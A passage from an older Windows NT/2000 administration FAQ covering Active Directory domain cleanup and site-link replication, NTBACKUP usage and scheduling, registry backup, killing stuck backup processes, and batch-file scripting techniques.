ntdsutil: metadata cleanup
metadata cleanup: connections

Connect to a server (or domain) that knows about the domain to be deleted (the parent domain is good)

server connections: connect to server titanic
Binding to titanic ...
Connected to titanic using credentials of locally logged on user
server connections: quit
metadata cleanup: select operation target

Now we select to the domain we are going to delete

select operation target: list domains
Found 3 domain(s)
0 - DC=savilltech,DC=com
1 - DC=dev,DC=savilltech,DC=com
2 - DC=deleteme,DC=savilltech,DC=com
select operation target: select domain 2
Site - CN=London,CN=Sites,CN=Configuration,DC=savilltech,DC=com
Domain - DC=deleteme,DC=savilltech,DC=com
No current server
No current Naming Context
select operation target: quit
metadata cleanup: remove selected domain

Click Yes to the confirmation.

"DC=deleteme,DC=savilltech,DC=com" removed from server "titanic"
metadata cleanup: quit
ntdsutil: quit
Disconnecting from titanic ...

There are no further actions, all trace of the domain will now have been removed.


Q. How does Inter-site replication work in Windows 2000?

A. Sites can be linked using RPC over IP or SMTP. Once you define the site links, schedules, cost factors and any site link bridges (if appropriate) the Knowledge Consistency Checker can then create the connection objects providing the site links are transitive in nature.

There are some restrictions on the usage of SMTP however, it can be used to replicate the global catalog information, schema and configuration data, but it cannot replicate full domain name context data such as the data exchanged between domain controllers in the same domain. This is because some domain operations require the File Replication Server (FRS) such as the global policy which SMTP does not currently support.

Inter-site replication uses a spanning tree topology and as long as a replication route can be established between all sites in the enterprise forest the replication tree is complete. The actual links between sites are created manually by the Administrator and involves defining costs with each link (the cost relates the speed and/or reliability of the network) and a schedule of when replication can occur.

Site links are created and maintained using the Sites and Services MMC snap-in and by default you will have one site link, DEFAULTIPSITELINK to which your original site will be part of and further sites can be added during their creation (sites have to be part of a site link when created).

Replication data sent inter-site is compressed to between 10-15% of its original size! This is important as inter-site links are usually over slower WAN links.

Basically you only need to create links between sites as required and the KCC will take care of creating the required connection objects. Ignorance is bliss :-)


Q. How do I create a new site link?

A. After creating sites of IP subnets they need to be linked. By default an IP site link exists called DEFAULTIPSITELINK which new sites can be added to during the creation (or select any other existing site link). To create a a new site link perform the following:

  1. Start the Sites and Services MMC snap-in (Start - Programs - Administrative Tools - Active Directory Sites and Services)
  2. Expand the Sites container
  3. Expand the 'Inter-Site Transports' leaf
  4. Right click on the IP or SMTP protocol leaf (depending on the type of site link you wish to create) and select 'New Site Link'
  5. Select the sites that should be part of the link. Enter a name for the link and click OK

Double clicking on an existing site link will allow other sites to be add/removed. It will also enable a cost to be allocated to the site link and a schedule to be configured.


Q. How do I disable site link transitivity?

A. By default all site links are bridged together making them all transitive in nature so the KCC (Knowledge Consistency Checker) can create connection objects between any domain controllers. Its possible to disable this site link transitivity and then manually bridge selected site links giving you more control.

  1. Start the Sites and Services MMC snap-in (Start - Programs - Administrative Tools - Active Directory Sites and Services)
  2. Expand the 'Sites' branch
  3. Expand the 'Inter-Site Transports' branch
  4. Right click on the protocol you wish to disable transitivity for (IP or SMTP) and select Properties
  5. Unselect the 'Bridge all site links' and click Apply
  6. Click OK

You now need to manually create site link bridges to enable connection objects to be created by the KCC.


Q. How do I create a site link bridge?

A. If you disabled site link transitivity you must manually bridge sites so replication can complete and the KCC can create the necessary connection objects.

  1. Start the Active Directory Sites and Services MMC snap-in (Start - Programs - Administrative Programs - Sites and Services)
  2. Expand the Sites branch
  3. Expand the 'Inter-Site Transports' branch
  4. Right click on the protocol you wish to create the bridge for (IP or SMTP) and select 'New Site Link Bridge'
  5. Enter a name for the bridge and select the site links that will form the bridge
  6. Click OK

Site link bridges are very important as imagine you had 3 sites, Kent, Liverpool and London and you have two site links, Liverpool-London and Kent-London. If site link transitivity is disabled then there is no way for Liverpool and Kent to talk. The site link bridge enables London to act as a router for communication between Liverpool and Kent.


Q. How do I specify a bridge head server?

A. In order to minimize bandwidth usage, communication between sites is carried out by a pair of servers (one from each site) and these bridgehead servers are dynamically chosen by the KCC (Knowledge Consistency Checker) however there may be some situations where you would prefer to nominate a specific domain controller from each site as it may have better network connectivity or act as the proxy server in a firewall environment.

These manually chosen servers are known as preferred bridgehead servers and its possible to select multiple preferred bridgehead servers for a site but only one is active at any one time. If the active preferred bridgehead servers fails then another preferred bridgehead server will become the active server. If no preferred bridgehead servers are available a normal Windows 2000 domain controller will become active for inter-site replication but this may cause problems if it lacks sufficient resources.

To nominate a server as a bridgehead server perform the following:

  1. Start the Active Directory Sites and Services MMC snap-in (Start - Programs - Administrative Programs - Sites and Services)
  2. Expand the Sites branch
  3. Expand the site containing the server and select the Servers container
  4. Right click on the server and select Properties
  5. Select the protocol the server should act as a preferred bridgehead server for and click Add (IP or SMTP)
  6. Click OK

At the next KCC run the connection objects will be changed to use the bridgehead server specified.


Q. How do I disable the KCC?

A. In 'Q. How does replication work intra-site in Windows 2000?' we saw how the KCC automatically creates and maintains the connection objects for intra and inter-site replication however these can be manually maintained if you wish by disabling the KCC, this is NOT recommended!

We use LDP.EXE for this change which is part of the support tools so make sure these are installed.

  1. Start LDP.EXE
  2. From the Connection menu select Connect
  3. Enter the DNS name of a domain controller, leave the port as 389 (LDAP) and make sure the connectionless option is clear. Click OK
  4. Some text will display in the right hand pane. Now select bind from the Connection menu. Enter an Administrator username, password and domain.

    Click OK
  5. From the View menu select Tree
  6. A dialog will prompt for the baseDN, this will include a site and your domain, for example in the London site of savtech.com I would enter:
    CN=London,CN=Sites,CN=Configuration,DC=SAVTECH,DC=COM
  7. Expand the route and look for 'CN=NTDS Site Settings', double click on this and the results will be displayed in the right window. Look for options attribute, it should not be there and this is OK. If it is there and it is 0 this is fine, if not you should not proceed and should contact MS support.
  8. In the right hand pane near the top will be text (like):
    Expanding base 'CN=NTDS Site Settings,CN=London,CN=Sites,CN=Configuration,DC=savtech,DC=com'...
    Result <0>: (null)
    Matched DNs:
    Getting 1 entries:
    >> Dn: CN=NTDS Site Settings,CN=London,CN=Sites,CN=Configuration,DC=savtech,DC=com
  9. Copy the '>> DN: CN=NTDS etc.' into clipboard (but not the DN: word), so in my example I would have:
    CN=NTDS Site Settings,CN=London,CN=Sites,CN=Configuration,DC=savtech,DC=com
  10. From the Browse menu select Modify
  11. For the DN enter the string we copied in step 9. For attribute enter 'options' (no quote). In the Values box, type the appropriate value:
    To disable automatic intra-site topology generation, use value 1 (decimal)
    To disable automatic inter-site topology generation, use value 16 (decimal)
    To disable both intra-site and inter-site topology generation, use value 17 (decimal)
  12. Set the operation to 'replace' and click Enter
  13. Click Run
  14. Click Close
  15. The right hand pane of LDP.EXE should display:
    -----------
    ***Call Modify...
    ldap_modify_s(ld, 'CN=NTDS Site Settings,CN=London,CN=Sites,CN=Configuration,DC=savtech,DC=com',[1] attrs);
    Modified "CN=NTDS Site Settings,CN=London,CN=Sites,CN=Configuration,DC=savtech,DC=com".
    -----------
  16. Close LDP.EXE

To check if the has worked you can use Active Directory Replication Monitor (REPLMON.EXE) to generate a report on the site configuration. Included in this information is output similar to the following example:

Site Name: London
---------------------------------------
Site Options : NTDSSETTINGS_OPT_IS_INTER_SITE_AUTO_TOPOLOGY_DISABLED
Site Topology Generator: CN=NTDS Settings,CN=MORPHEUS,CN=Servers,CN=London,CN=Sites,CN=Configuration,DC=savtech,DC=com
Site Topology Renewal :
Site Topology Failover :

  • NTDSSETTINGS_OPT_IS_AUTO_TOPOLOGY_DISABLED means that intra-site topology management is disabled
  • NTDSSETTINGS_OPT_IS_INTER_SITE_AUTO_TOPOLOGY_DISABLED means that inter-site topology management is disabled

To undo the change and re-enable the KCC perform the above but set the value to 0. If KCC is fully enabled the output from the report will be (notice Site Options are blank):

Site Name: London
---------------------------------------
Site Options :
Site Topology Generator: CN=NTDS Settings,CN=MORPHEUS,CN=Servers,CN=London,CN=Sites,CN=Configuration,DC=savtech,DC=com
Site Topology Renewal :
Site Topology Failover :

To generate the report perform the following:

  1. Start REPLMON.EXE
  2. Right click on 'Monitored Services' in the left pane and select 'Add Monitored Server' from the context menu
  3. Select 'Add the server explicitly by name' and click Next
  4. Enter the server name and click Finish
  5. Right click on the server (it will be under the site) and select 'Generate Status Report'
  6. Enter a name and location for the log and click Save
  7. Under the options ensure the following are selected (the others don't matter)
    - Server/DC Configuration Data
    - Extended Site Configuration
  8. Click OK
  9. Click OK once complete
  10. Open the file you specified and at the bottom will be the site information (in the Enterprise Data section).

**************************************************************************
Enterprise Data
***************************************************************************

Globally Unique Identifiers (GUIDs) for each domain controller in the enterprise
NOTE: the absence of a GUID means that the server has been demoted.
--------------------------------------------------------------------------------

Site Name: London
---------------------------------------
Site Options : NTDSSETTINGS_OPT_IS_INTER_SITE_AUTO_TOPOLOGY_DISABLED
Site Topology Generator: CN=NTDS Settings,CN=MORPHEUS,CN=Servers,CN=London,CN=Sites,CN=Configuration,DC=savtech,DC=com
Site Topology Renewal :
Site Topology Failover :

MORPHEUS
Server GUID (used for DNS) : DA644BE4-A8C9-47AF-AC4A-71F8DA4D50F0
Replication Database GUID (used to identify partner in replication): DA644BE4-A8C9-47AF-AC4A-71F8DA4D50F0
DSA Options : NTDSDSA_OPT_IS_GC
DSA Computer Path : CN=MORPHEUS,OU=Domain Controllers,DC=savtech,DC=com
DSA Schema Location : CN=Schema,CN=Configuration,DC=savtech,DC=com
DSA Mail Address : _IsmService@da644be4-a8c9-47af-ac4a-71f8da4d50f0._msdcs.savtech.com
DSA DNS Host Name : MORPHEUS.savtech.com
DSA BridgeHead Transports :  IP


Q. How can I change the NetBIOS name of my Windows 2000 domain?

A. Even though Windows 2000 names are DNS based, e.g. savilltech.com, a NetBIOS name is also specified during DCPROMO execution for backwards compatibility with older clients/domain controllers and is normally the left most part of the DNS name, e.g. savilltech, although it can be changed to a user specified name.

Once this NetBIOS name has been set during DCPROMO execution you cannot change it. The only way would be to demote all domain controllers and recreate the domain but you would lose all objects (although you could dump them out first and them import in again).

If you are upgrading a 4.0 domain then during the DCPROMO execution the NetBIOS name cannot be changed. You are stuck with the NetBIOS name of the 4.0 domain but you can of course have a totally different DNS name.


Q. How can I monitor when the Knowledge Consistency Checker (KCC) is run?

A. The KCC which manages the connection objects for inter and intra site replication runs periodically and ascertains if any new objects need creating or existing objects deleted.

If you want you can monitor exactly when its execution starts and finishes by performing the following actions:

  1. Start the registry editor (Regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics
  3. Double click on '1 Knowledge Consistency Checker'
  4. Set the value to 3 (or greater) and click OK
  5. Close the registry editor (you don't need to restart the machine for this change to take effect)

With this value set to 3 or greater, the KCC will log extra events which you can view using the Event Viewer and viewing the 'Directory Service' branch.

Common and useful events are:

  • events 1009 to signify the beginning of KCC check
  • events1013 to signify the end of the KCC check
  • events 1133 information about the KCC check
  • events 1007 to signify the initialization of the KCC
  • events 1015 to signify the stopping of the KCC


Q. What backup software is available for Windows NT?

A. Windows NT ships with NTBACKUP.EXE which is suitable for backing up most installations however its features are quite basic, for the larger more complex installations one of the following may be worth a look

  • ADSM from http://www.storage.ibm.com/software/adsm/index.htm
  • ARCserveIT from http://www.cai.com/arcserveit/
  • Back Again II from http://www.cds-inc.com/
  • Backup Exec from http://support.veritas.com/index_bottom_Product_Cat_Backup_Exec.htm
  • Backup Express from www.syncsort.com
  • EaseBackup from http://members.xoom.com/KieProgSoft/
  • Legato NetWorker from http://www.legato.com/
  • NovaBack+ from http://www.novastor.com
  • OpenView OmniBack from http://www.hp.com
  • Replica from http://www.stac.com/replica/
  • Retrospect 5.0 from www.dantz.com
  • UltraBac from http://www.ultrabac.com


Q. How do I add a tape drive?

A. Before you can add a tape drive you should first ensure that the correct SCSI driver is loaded for the card the tape drive is connected to. Once the SCSI driver is loaded you should perform the following

  1. Start the Tape Devices control panel applet (Start - Settings - Control Panel - Tape Devices)
  2. Click the detect button for NT to detect your tape drive. If this works goto step 5
  3. If the drive could not be detected the click the drivers tab
  4. Click the Add button and select your tape drive from the list or click the Have Disk button and select the location for the driver.
  5. Click OK
  6. Restart the computer


Q. What types of backup does NTBACKUP.EXE support?

A. NTBACKUP.EXE supports 5 different types of backups

  • Normal backup - Backs up the files selected and marks them as backed up.
  • Incremental backup - Backs up files that have changed since the last backup. Once the files have been backed up the files are marked as backed up.
  • Differential backup - Same as above, backs up files that have changed since the last backup but does not mark the files as backed up
  • Copy backup - Same as a normal backup but does not mark files as backed up
  • Daily backup - Backs up selected files that have been modified on that day, the files are not marked as backed up


Q. What backup strategies are available?

A. The main backup strategy is on a weekly plan as follows

  • Monday - Incremental backup
  • Tuesday - Incremental backup
  • Wednesday - Incremental backup
  • Thursday - Incremental backup
  • Friday - Normal backup

As you know an incremental backup only backs up those files that have changed since the last backup and then sets them as backed up so this type of backup should be quite fast. In the event of a failure you would have to first restore the normal backup and then any subsequent incremental backups.

An alternative would be as follows

  • Monday - Differential backup
  • Tuesday - Differential backup
  • Wednesday - Differential backup
  • Thursday - Differential backup
  • Friday - Normal backup

Differential backups and incremental backups are the same except that differential does not mark the files as backed up, therefore files backed up on Monday will still be backed up on Tuesday etc. Therefore to restore the backup you would only need to restore the normal backup and the latest differential backup.

It is important to not just have on week's worth of tapes, you should have a tape rotation and have maybe 10 tapes and rotate on a fortnightly basis.

If you wanted an extra backup as a one off you would use a copy backup as this does a full backup but does not mark files as backed up and therefore would not interfere with other backup schemes in use.


Q. What options are available when using NTBACKUP.EXE?

A. Once you start NTBACKUP a list of all drives on the machine will be shown. You can either select a whole drive or double click on the drive and then select directories. Once you have selected the drives/directories click the Backup button.

When performing a backup there are a number of fields that should be completed.

  • Current Tape - The name of the inserted tape is shown. You cannot edit this field
  • Creation Date - Date the original backup set was created. You cannot edit this field
  • Owner - The owner of the tape. You cannot edit this field
  • Tape Name - A 32 character string describing the tape
  • Operation Append/Replace - If you choose append the new saveset is added to the end of the tape. If you choose replace any information on the current tape is overwritten.
  • Verify after backup - If selected once files are copied to tape they are verified against the file on disk
  • Backup Local registry - Backs up the computers local registry, you cannot backup remote computers registry's.
  • Restrict Access to Owner or Administrator - If you select this tape then the tape is made Secure. Only the owner of the tape or a member of the Administrator or Backup Operators group can access the tape.


Q. Can I run NTBACKUP from the command line?

A. NTBACKUP is fully usable from the command line using the format below

ntbackup <operation> <path> /a /b /d "text" /e /hc:<on/off> /l "<filename>" /r /t <backup type> /tape:n /v

The parameters have the following meanings

<operation> | This will be backup . If you wanted to eject a tape you could enter eject (but must also include the /tape parameter)
<path> | The list of drives and directories to be backed up. You may not enter file names or use the wildcard character. To backup multiple drives just put a space between them, e.g. ntbackup backup c: d: etc...
/a | Append backup sets to the end of the tape. If /a is omitted then the tape will be erased
/b | Backup the local registry
/d "text" | A description of the tape
/e | Logs only exceptions
/hc:<on/off> | If set /hc:on then hardware compression will be used, if /hc:off then no hardware compression will be used.
/l "<filename>" | Location and name for the logfile
/r | Restricts access (ignored if /a is set)
/missingtape | Specifies that a tape is missing from the backup set when the set spans several tapes. Each tape becomes a single unit as opposed to being part of the set.
/t <backup type> | The type of backup, normal, Incremental, Differential, Copy or Daily
/tape:n | Which tape drive to use (from 0 to 9). If omitted tape drive 0 is used
/v | Performs verification


Q. How do I schedule a backup?

A. Before a backup can be scheduled, you must ensure the scheduler service is running on the target machine, it does not have to be running on the issuing machine. For information on the schedule service see Q. How do I schedule commands?

Once the scheduler service has been started it is possible to submit a backup command using the ntbackup.exe image (image is a name for an executable)

at 22:00 /every:M,T,W,Th,F ntbackup backup d: /v /b

The command above would schedule a backup at 10:00 p.m. on weekdays of drive D: and the local registry with verification.

If you are having problems with the scheduling you may want to use the /interactive switch so in the event of a problem you can interact with the backup program.


Q. How do I restore a backup?

A. To restore a backup saveset is simple and will depend on what was backed up, however the basics are

  1. Start NTBACKUP (Start - Administrative Tools - Backup)
  2. Double click on the tape unit that has the backup saveset you want. Select the saveset
  3. Check the Restore File Permissions if the saveset was backed up off of a NTFS volume
  4. Click OK


Q. How do I backup open files?

A. Sometimes files can be corrupted as a backup program will try to backup an open file and when restored the file is corrupt. To stop NTBACKUP from backing up open files perform the following

  1. Start the registry editor
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Ntbackup\Backup Engine
  3. Check "Backup files in use". If it is set to 1 double click on the value and set to 0. Click OK
  4. Close the registry editor

If you do have "Backup files in use" set to 1 then you should also set the following parameter

HKEY_CURRENT_USER\Software\Microsoft\Ntbackup\User Interface\Skip open files

The values for this are

0 - Do not skip the file, wait till it can be backed up
1 - Skip files that are open/unreadable
2 - Wait for open files to close for Wait time (which is another registry value in seconds)

For more information have a look at Q159218 (http://support.microsoft.com/support/kb/articles/q159/2/18.asp)

To backup open files without corruption you should look at Open File Manager software from http://www.stbernard.com (yeah the advert with the cute dog!). You can download a 15 day free trial.


Q. What permissions do I need to perform a backup?

A. The operator performing the backup requires the "back up files and directories" user right. This can be given directly using user manager, or the preferred way is to make the user a member of either the Administrators group or the backup operators group.


Q. How do I backup the registry?

A. Most of the registry hives are open, making them unable to be copied in the normal way, however there are several methods available to you

  • If you have a tape drive attached to NT, the NTBACKUP utility will perform a full backup of the registry if you select the "backup local registry" when performing the backup. Please note that NTBACKUP cannot backup registry's on remote machines.
  • RDISK /S will backup the registry to the %SystemRoot%/repair directory. RDISK is no longer supplied in Windows 2000, please see Q. Where is RDISK in Windows 2000?
  • REGBACK.EXE which comes with the resource kit will backup the open files that make up the registry, but not the unopened ones, these will need to be manually copied using xcopy.exe or scopy.exe. There is also a utility REGREST.EXE that can be used to restore the registry. To backup the registry to directory d:\regbackup:
    regback d:\regback
  • REG.EXE is now supplied with the newer versions of the resource kit and with the BACKUP option, e.g. REG BACKUP you can backup certain sections of the registry to file.

NT does not automatically rename the old Registry to .DA0 as does Windows 95. However, you can use RDISK, the Emergency Recovery Disk utility, to generate fresh duplicates of the Registry, and use this script to keep three old versions on hand:

REM REGBACK.BAT note: change M: to home directory on LAN
REM pkzip25 is a product of PKWARE, see www.pkware.com for details
rdisk /s-
if exist m:regback.old del m:regback.old
ren m:regback.sav regback.old
ren m:regback.zip regback.sav
pkzip25 -lev=0 -add -attr=all m:regback %systemroot%\repair\*.*
exit


Q. How can I erase a tape using NTBackup that reports errors?

A. When NTBackup starts and when a tape is inserted a scan of the device is performed and if any errors are found one of the following messages will be displayed

  • Tape Drive Error Detected.
  • Tape Drive Not Responding.
  • Bad Tape.

You will not be able to perform any actions on the tape including erasing it. It is possible to force NT to not check a tape when inserted using the /nopoll parameter, e.g.

c:\>ntbackup /nopoll

You will now be able to erase the tape within NTBackup. If you have multiple tape drives you may want to use the /tape:n parameter to instruct NTBackup to ignore a certain tape drive, otherwise no other parameters should be used.

Once you have erased the tape you should exit ntbackup and restart to use the tape (without specifying /nopoll).


Q. How can I remove a dead submitted Backup process?

A. If you submit a backup using the AT command (the schedule command) and the ntbackup program has a problem, you run Task Manager but are unable to kill the process as an error along the lines of you don't have authority to end the process will be shown. The only solution is to reboot the server.

If you had submitted the ntbackup command with the /interactive switch you would see some kind of error.

Rather than rebooting the server you can create a "special" version of task manager which will be able to kill the rogue NTBACKUP process. Simply submit task manager to start one minute in the future using the AT command or even better using the Resource Kit SOON.EXE utility:

C:\> soon 30 /interactive taskmgr

In 30 seconds task manager will be displayed and you will be able to kill the NTBACKUP process.

The AT syntax would be

C:\> at [\\<computer name>] <time in future> /interactive taskmgr

The \\<computer name> is optional and would start Task Manager on another machine.

An alternate method is as follows:

use the TLIST.EXE and the KILL.EXE provided in the Resource kit.

From the command prompt issue...
C:\> tlist -t | more

The output is .... <snip>

ATSVC.EXE (315)
  CMD.EXE (345)
    NTVDM.EXE (348)
    NTBACKUP.EXE (314)

(the PID will vary from system to system)
(the "-t" option is important. It provides a tree-like-output to determine which process is the parent and child process)

Use the KILL.EXE to end the parent process CMD.EXE and NTBACKUP.EXE
C:\> kill -f 345

By killing the parent process it DOES NOT kills the children process it created. Once you kill the CMD.EXE process you then need to kill the children processes that the CMD.EXE called.

Just don't kill the ATSVC.EXE process!!! If you do you no longer have the schedule service running, and you will have to restart it.

You must have Administrative privileges to run the KILL.EXE program.

You may find this better than fumbling with the AT command and waiting for it to start the TASKMGR as a system account.

If this is on a remote server where you can't get to the console load the RKILLSRV.EXE as a service on the remote machine, and use the RKILL.EXE on your local machine. Both programs are from the resource kit. You must have Administrative privileges on the target system to kill the processes.

RKILL.EXE syntax...
Usage : rkill /view \\servername
to get the process list on servername
Usage : rkill /kill \\servername pid
to kill process pid on servername
Usage : rkill /token \\servername
to get your remote security token on servername

Another useful use for this is as part of a scheduled NTBACKUP and to always run the command "kill.exe -f ntbackup.exe" first in the scheduled NTBackup-batch job. I've been told it works great but have never used myself. Basically if there is an old stray backup job running it will kill it first.


Q. What is a batch file?

A. A batch file is just a text file with a .bat or .cmd extension that adheres to a syntax and a set of valid commands/instructions. To run a batch file just enter the name of the file, you don't need to enter the .cmd or .bat extensions. In line with programming tradition the first batch file we write will output "Hello World".

  1. Start Notepad
  2. Enter the following contents
    @echo hello world
    Echo means output to the screen anything after it (the @ suppresses the command being printed to the screen, try it with and without the @). To stop commands from being displayed in the whole batch file have
    @echo off
    At the top of the batch file.
  3. From the file menu select "Save As"
  4. Enter a name of "<name>.cmd", make sure you enter the name in quotes or notepad will add .txt to the end!
  5. Start a command session (run cmd.exe)
  6. Enter the name of the batch file (no extension), e.g.
    testfile


Q. What commands can be used in a batch file?

A. Windows NT 4.0 introduced some extensions to cmd.exe, so to use these make sure HKEY_CURRENT_USER\Software\Microsoft\Command Processor\EnableExtensions is set to 1. The following is a list of the more common commands you will use

call <batch file> | This is used to call one batch from inside another. The execution of the current batch file is suspended until the called batch file completes
exit | Used to stop batch file execution. If a batch file is called from inside another and exit is called both batch files are stopped
findstr <string> <filename(s)> | Used to find a string in a file. There are a number of parameters from this and is quite powerful
for | Standard for loop for /L %n IN (1,1,10) DO @ECHO %n Would print 1 to 10
goto <label> | Causes the execution of a program to skip to a given point. The actual label name must be preceded with a colon (:), e.g. goto label1 ... :label1 ...
if <condition> .. | The if statement has a great deal of functionality. Some of the more common ones are: if /i <string1> <compare> <string2> <command> The /i makes the comparison case insensitive and compare can be one of: EQU equal NEQ not equal LSS less than LEQ less than or equal GTR greater than GEQ greater than or equal if errorlevel if exist <file name>
rem <string> | A comment
start <window title> <command> | Starts a new command session and runs a given command. Unlike call the execution of the current batch file is not halted and continues

There are some extra utilities supplied with the NT Resource Kit which can be useful.


Q. How can I perform an action depending on the arrival of a file?

A. This is a common request as users on hosts have files FTP'd from a host and need to action it when it arrives. Below is a simple batch file to do this:

:filecheck
if exist e:\upload\file.txt goto actionfile
sleep 100
goto filecheck

:actionfile
...

This would check for file.txt every 100 seconds. The program sleep.exe is supplied with the resource kit so you would need the resource kit installed.

There may be a problem if the file is large and being created when its existance is checked for, for example if the file is being ftp'd and is still writing into it.

To get around this try to RENAME the file to itself, e.g.:

RENAME e:\upload\file.txt file.txt
if not errorlevel 0 goto actionfile

... or something like that. RENAME throws an error whether the file doesn't exist or whether it's not available to write to (because it's still being written to).

The errorlevel is the same, but the error message changes, if one cares to distinguish in the .BAT file.


Q. How can I access files on other machines?

A. You can use the UNC naming conventions, e.g. \\<server name>\<share name>\<dir>\<file>. Alternatively you could map the drive, access the file using a drive letter and then unmap the drive, e.g.

net use g: \\savilltech\filetosee
... g:\dir\file.txt
net use g: /d


Q. How can I send a message from a batch file?

A. Use the NET SEND command, e.g.

net send <machine> "<message>"


Q. The command I enter asks for input, can I automate the response?

A. Most commands have a switch to confirm an action however if a command requires a response when run, for instance a logon may want you to enter a password try the following:

echo <password> | logon savillj

This runs the command "logon savillj" and assuming it then asked for a password, the echo would then echo the password with a return thus entering your password for you.

You can also echo a return using

echo.|cmd.exe


Q. How can I pass parameters to a batch file?

A. When you call a batch file you may enter data after the command which the batch file refers to as %1, %2 etc, for example the batch file hello.bat

@echo hello %1 boy

Would output

hello john boy

if called as "hello.bat john" (you don't need to enter .bat extension, I just use it here as I used bad file names :-) )

You can actually modify the passed parameter in the following ways

Parameter | Description
%1 | The normal parameter.
%~f1 | expands %1 to a fully qualified path name. If you only passed a file name from the current directory it would expand to the drive/directory as well
%~d1 | extracts the drive letter from %1.
%~p1 | extracts the path from %1
%~n1 | extracts the file name from %1 without the extension
%~x1 | extracts the file extension from %1
%~s1 | changes the meaning of n and x options to reference the short name. You would therefore use %~sn1 for the short file name, or %~sx1 for the short extension

You can combine some of the above as follows

Parameter | Description
%~dp1 | expands %1 to a drive letter and path only.
%~sp1 | for short path
%~nx1 | expands %1 to a file name and extension only.

To see all of these in actions put this into a batch file testing.bat

@echo off
echo fully qualified name %~f1
echo drive %~d1
echo path %~p1
echo file name %~n1
echo file extension %~x1
echo short file name %~sn1
echo short file extension %~sx1
echo drive and directory %~dp1
echo file name and extension %~nx1

Run the file with a long file name, for example the batch file run on file c:\temp\longfilename.long would produce output

fully qualified name c:\TEMP\longfilename.long
drive c:
path \TEMP\
file name longfilename
file extension .long
short file name LONGFI~1
short file extension .LON
drive and directory c:\TEMP\
file name and extension longfilename.long

Obviously all the above also work on the second, third parameter etc, and you just substitute 1 for the parameter, e.g. %~f2 for the second parameters fully qualified path name.

Within a batch file %0 holds information about the file when it is run and that the command extensions can also be used with it (e.g. %~dp0 will give the drive and path of the batch file).


Q. How can I stop my batch files outputing the command to screen as it runs it?

A. This is stopped by just placing

@echo off

at the top of your batch file. To stop a single command being output to the screen just put @ in front of the command.


Q. How do I call a batch file from within another batch file?

A. It is possible to just enter the name of the batch file in a batch file which will run the called batch file however once completed it will not pass control back to the calling batch file leaving the rest of the calling batch file unrun. For example suppose we had the batch files

calling.bat

@echo off
echo Calling bat here
called.bat
echo Back to Calling bat

called.bat

@echo off
echo called bat here

If you then run calling.bat you would not get the line "Back to Calling bat" displayed as after called.bat terminates it does not return to calling.bat. To call a batch file and have it return to the calling batch file once completed use call . For example if calling.bat was modified to have "call called.bat" instead of "called.bat" the line "Back to Calling bat" would be displayed as once called.bat was completed control would return to calling.bat.


Q. .bat files have lost their association.

A. This is easily fixed. Enter the commands:

ftype batfile="%1" %*
assoc .bat=batfile


Q. How do I search files for a string from a batch file/command line?

A. There is the basic find command which allows you to search one file at a time for string, however findstr is far more versatile. The command has the following switches

FINDSTR [/B] [/E] [/L] [/R] [/S] [/I] [/X] [/V] [/N] [/M] [/O] [/F:file] [/C:string] [/G:file] [strings] [[drive:][path]filename[ ...]]

Parameters | Meaning
/b | Match pattern if at the start of a line
/e | Match pattern if at the end of a line
/l | Search literally
/r | Use text as a regular expression (default)
/s | Search current directory and all sub-directories
/i | Ignore case
/x | Selects lines that are an exact match
/v | Selects lines that do not match
/n | Displays the line number before the matched line
/m | Displays only the matching file names
/o | Displays the offset of the match before the matched line
/g:<file> | Gets the search string from the specified file. /g:argument.txt
/c:"<string>" | Use text as a literal. /c:"string"
/f:<file> | Gets the file list from the specified file. /f:filelist.txt
strings | The search string (in double quotes if multiple words)
files | Files to be searched

Use spaces to separate multiple search strings unless /c is used

findstr "Windows NT FAQ" ntfaq.html - searchs for Windows, NT or FAQ in ntfaq.html
findstr /c:"Windows NT FAQ" ntfaq.html - searchs for "Windows NT FAQ" in ntfaq.htm


Q. Environment settings set by a batch file are not working.

A. When you execute a batch file (or any other DOS command without a pif setting) the _DEFAULT.PIF file in the %systemroot% directory is used. If, as in my case, it has the "Close on Exit" setting enabled, this causes the batch process to close. Change this as follows:

  1. Start Explorer
  2. Move to your %systemroot% directory, e.g. d:\winnt
  3. Right click on _default.pif
  4. Select the Program tab
  5. Unselect "Close on exit"
  6. Click Apply then click OK


Q. How can I perform an operation on every machine on the network that is running?

A. Normally a logon script can be used but if you wish to run a command/copy a file to every current machine now you can use the following.

C:\> net view > list.txt

This outputs a list of all current machines to the file list.txt. We can then parse that file to perform an operation, e.g. to copy files:

C:\> FOR /F " tokens=1 " %i in (list.txt) do copy quaropts.dat "%i\C$\program files\navnt"

If you placed the above into a file you would need to user two %%, e.g.

FOR /F " tokens=1 " %%i in (list.txt) do copy quaropts.dat "%%i\C$\program files\navnt"

Its possible to not use the temporary file at all by changing the FOR command to the following:

FOR /F " tokens=1 " %i in ('net view') do copy quaropts.dat "%i\C$\program files\navnt"


Q. How can you send a programs output to a NULL device?

A. If you wish to suppress a programs output you can use the NULL device (as you would use UNIX's /dev/null). For example to make a program output to the NULL device instead of the screen use:

C:\> program.exe > nul

If you wanted to blank a file you can also use NUL

C:\> copy nul file.name


Q. How can I change colour within a batch file?

A. You can use the Windows NT Workstation 4.0 Color command to set the Command Prompt window colors. For example:

C:\> color 06

sets the colour to yellow on black. The first part is background colour, the second the foreground and are:

0 | Black
1 | Blue
2 | Green
3 | Aqua
4 | Red
5 | Purple
6 | Yellow
7 | White
8 | Gray
9 | Light Blue
A | Light Green
B | Light Aqua
C | Light Red
D | Light Purple
E | Light Yellow
F | Bright White

So color 2F would be bright white on Green..


Q. How can I call a subroutine in a batch file?

A. An easy way to do this is to have the batch file call itself recursively and pass itself a couple of parameters, like so:

@echo off
if (%1)==(Recurse) goto Recurse
goto Begin

:Begin
echo Batch file begins.
call %0 Recurse test
goto End

:Recurse
echo This is a recursive call.
echo The parameters received were "%1" and "%2".
goto Clean-End

:End
echo Finished.

:Clean-End

Be careful! Recursive batch files can be dangerous, especially if your subroutine fires off another program.

Other methods:

:Begin

echo start subroutine
call :Subroutine
echo finished subroutine
goto End

:Subroutine
echo In subroutine
goto :EOF
:End

From Rob Warner and Ian Hamilton (both sent the same idea):

For NT .cmd files, the following is possible

@echo off
call :Begin
echo Finished.
goto :eof

:Begin
echo Batch file begins.
call :recurse Recurse test
goto :eof

:Recurse
echo This is a recursive call.
echo The parameters received were "%1" and "%2".
goto :eof

Note the syntax for calling subroutines (with parameters) and the special construct for returning (goto :eof).


Q. How do I enter freehand comments in my batch file without using 'rem'?

